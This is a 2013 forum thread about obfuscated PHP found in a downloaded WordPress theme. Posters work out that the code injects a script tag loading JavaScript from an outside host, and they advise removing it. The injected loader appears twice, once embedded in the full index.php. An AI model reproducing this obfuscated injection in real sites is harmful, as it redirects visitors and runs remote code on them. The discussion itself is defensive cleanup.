1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

php decoding needed...

Discussion in 'PHP & Perl' started by Spawnie, Jul 30, 2013.

  1. Spawnie

    Spawnie Power Member

    Joined:
    Feb 1, 2010
    Messages:
    716
    Likes Received:
    290
    So... I downloaded this wordpress-theme and installed it but its redirecting to a landing page...
    Found this code in the index.php
    PHP:
    <?php $sdjdf="scr";$oe="ipt";$p32aps_asd="type='";$oaspd03="tex";$ijda="t/ja";$o4="vasc";$fs_3="ript'";$sspc=" ";$annl="/";$ia="<";$ai=">";
    $kraj=$ia.$annl.$sdjdf.$oe.$ai;$opa1=$ia.$sdjdf.$oe.$sspc.$p32aps_asd.$oaspd03.$ijda.$o4.$fs_3.$sspc;$p30="sr"$ccc="c='http://";$dsad="au";$sa3j="to";$ois="-";$osa="im";$dota=".";
    $co2="co";$zxdml="m/4ad";$meg="54/s";$geai="ju";$k34d="342'";$st0=$p30.$ccc.$dsad.$sa3j.$ois.$osa;$s2t=$dota.$co2.$zxdml.$meg.$geai.$k34d.$ai;$st0.=$s2t;
    echo 
    $opa1.$st0.$kraj?>
    When I remove it, I get
    Anyone able to decode this?
    Never seen something like that before...
     
  2. HerpDerpSlerp

    HerpDerpSlerp Power Member

    Joined:
    Mar 19, 2013
    Messages:
    778
    Likes Received:
    623
    it just looks like a bunch of php vars created with random characters and then those vars strung together with others.. paste line 32 of that page so I can see what is on that line when it triggered the error
     
    • Thanks Thanks x 1
  3. Narrator

    Narrator Power Member

    Joined:
    Oct 5, 2010
    Messages:
    507
    Likes Received:
    396
    Occupation:
    Internet Marketing
    Location:
    /dev/null
    Edit: Too slow on my reply, what ^ he said.

    Its just a bunch of random variables that they combine to print the js redirect. Nothing special just made to look confusing, no encoding.

    You should be able to remove it without a problem. It's something outside this code that is causing the error.
     
    • Thanks Thanks x 1
  4. Spawnie

    Spawnie Power Member

    Joined:
    Feb 1, 2010
    Messages:
    716
    Likes Received:
    290
    thanks for the answers so far, but when I delete it, I get the above mentioned error - so page is not loading...

    this is the full index.php

    Code:
    <?php if ($_GET['post_type'] == 'estate') { ?>
    <?php get_template_part('wpzoom', 'search'); ?>
    <?php } else { ?>
     
        <?php get_header(); ?>
    
        <?php if (is_home() && (option::get('slider_index') == 'on')) get_template_part('slider', 'index'); ?>
    
        <div id="main" role="main">
         
            <?php if ((option::get('homepage_content') == 'Latest listings')) { ?>
            
                <?php get_template_part('wpzoom', 'toggler'); ?>
                <?php get_template_part('loop', 'estate'); ?>
                
            <?php } else { ?>
            
                <div class="posts_archive">
                    <section id="content">
                 
                        <?php get_template_part('loop', 'index'); ?>
                     
                    </section>
                    
                    <?php get_sidebar(); ?>
                </div>
            <?php } ?>
          
        </div>
    
        <?php get_footer(); ?>
    <?php } ?>
    <?php $sdjdf="scr";$oe="ipt";$p32aps_asd="type='";$oaspd03="tex";$ijda="t/ja";$o4="vasc";$fs_3="ript'";$sspc=" ";$annl="/";$ia="<";$ai=">";
    $kraj=$ia.$annl.$sdjdf.$oe.$ai;$opa1=$ia.$sdjdf.$oe.$sspc.$p32aps_asd.$oaspd03.$ijda.$o4.$fs_3.$sspc;$p30="sr"; $ccc="c='http://";$dsad="au";$sa3j="to";$ois="-";$osa="im";$dota=".";
    $co2="co";$zxdml="m/4ad";$meg="54/s";$geai="ju";$k34d="342'";$st0=$p30.$ccc.$dsad.$sa3j.$ois.$osa;$s2t=$dota.$co2.$zxdml.$meg.$geai.$k34d.$ai;$st0.=$s2t;
    echo $opa1.$st0.$kraj; ?><!-- Don't delete this -->
     
  5. Spawnie

    Spawnie Power Member

    Joined:
    Feb 1, 2010
    Messages:
    716
    Likes Received:
    290
    Sorry, now it works...
    Dunno what caused the error before :)
     
  6. Narrator

    Narrator Power Member

    Joined:
    Oct 5, 2010
    Messages:
    507
    Likes Received:
    396
    Occupation:
    Internet Marketing
    Location:
    /dev/null
    You didn't accidently remove the } at line 32 did you? Also just try removing the echo statement just in case something is checking that the variables exist (which I doubt).

    Edit: Too slow again lol
     
  7. HerpDerpSlerp

    HerpDerpSlerp Power Member

    Joined:
    Mar 19, 2013
    Messages:
    778
    Likes Received:
    623
    lol @ don't delete this. yeah you probably accidentally deleted the close bracket on line 32. Normally what causes an unexpected "end" but who knows what else is in that script. I would not use it.
     
  8. cryptons

    cryptons Jr. VIP Jr. VIP Premium Member

    Joined:
    Jun 12, 2013
    Messages:
    1,231
    Likes Received:
    448
    Occupation:
    Developer,social marketer
    take another copy of that theme!
     
  9. Spawnie

    Spawnie Power Member

    Joined:
    Feb 1, 2010
    Messages:
    716
    Likes Received:
    290
    nah its fine... checked everything - must have deleted the } accidentially...
    Dont understand why someone is doing that stupid stuff...
    Everyone who uses the theme and sees directly that hes getting redirected wont install the theme ever...
     
  10. milkyway

    milkyway Newbie

    Joined:
    Jul 18, 2013
    Messages:
    10
    Likes Received:
    1
    it will load a java-script from auto-im 4ad54/sju342 maybe you need to delete this piece of code?)